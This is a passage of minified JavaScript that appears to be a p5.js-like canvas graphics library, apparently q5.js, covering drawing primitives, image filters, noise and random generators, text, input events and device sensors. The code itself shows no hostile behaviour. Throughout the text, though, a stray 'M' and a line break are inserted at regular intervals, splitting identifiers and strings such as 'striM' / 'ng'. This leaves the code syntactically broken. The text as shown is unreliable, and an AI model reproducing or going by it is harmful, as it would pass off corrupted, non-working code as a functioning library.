ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
